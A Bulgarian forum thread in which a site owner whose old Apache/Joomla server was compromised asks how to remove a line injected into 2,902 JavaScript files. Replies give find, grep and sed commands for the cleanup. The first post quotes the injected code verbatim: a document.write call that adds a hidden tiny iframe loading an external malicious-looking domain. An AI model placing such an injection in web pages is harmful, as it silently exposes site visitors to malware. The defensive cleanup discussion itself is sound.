Титла: Масово триене на редове Публикувано от: dev_urandom в Sep 07, 2012, 09:12 Здравейте,
най накрая и аз хапнах дръвцето :) Проблема ми е следния: WEB server със стара /вече не/ версия на Apache + стара /вече не/ версия на Joomla = катастрофа Де що има .js файл има инжектиран код в края от вида document.write('<iframe src="http://wayoseswindows.ru/Tech?8" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Общия брой на така "украсените" файлове е 2902 :) , което прави задачата невъзможна да ги редактирам на ръка. Имам списък на файловете, изкаран чрез grep и записан в обикновен текстов файл. Въпросът ми е : Как да изтрия тези редове чрез някакъв скрипт ? sed ? Титла: Re: Масово триене на редове Публикувано от: romeo_ninov в Sep 07, 2012, 10:44 Нещо със sed няма ли да свърши работа като за начало?
Код: find . -name "*.js" -type f -exec sed -i s/wayoseswindows.ru/<server IP>/g {} \; И да не забравиш да добавиш в локалния сървър папка Tech с празен index.html Титла: Re: Масово триене на редове Публикувано от: dev_urandom в Sep 07, 2012, 12:01 Нещо със sed няма ли да свърши работа като за начало? Благодаря, добре ме насочи ! Весели почивни дни ! Титла: Re: Масово триене на редове Публикувано от: n00b в Sep 07, 2012, 15:45 sed му е майката...
..обаче ще трябва да си напишеш скрипта и да го тестваш. Аз бих направил нещо като (псевдо код) grep -r "string" * | xargs ... sed "string" "" грепа ще издъмпи файловете в поддиректории в един списък (имаше още един параметър само за това но след малко ще видя). За всеки един от файловете xargs ще изпълни sed с параметрите. Титла: Re: Масово триене на редове Публикувано от: romeo_ninov в Sep 07, 2012, 15:59 sed му е майката...1. grep -R за да е рекурсивно 2. grep -l за да извади само името на файла. Но аз по-горе показах нещо с find, което прави същото Титла: Re: Масово триене на редове Публикувано от: n00b в Sep 07, 2012, 16:36 sed му е майката...1. grep -R за да е рекурсивно Roger that. |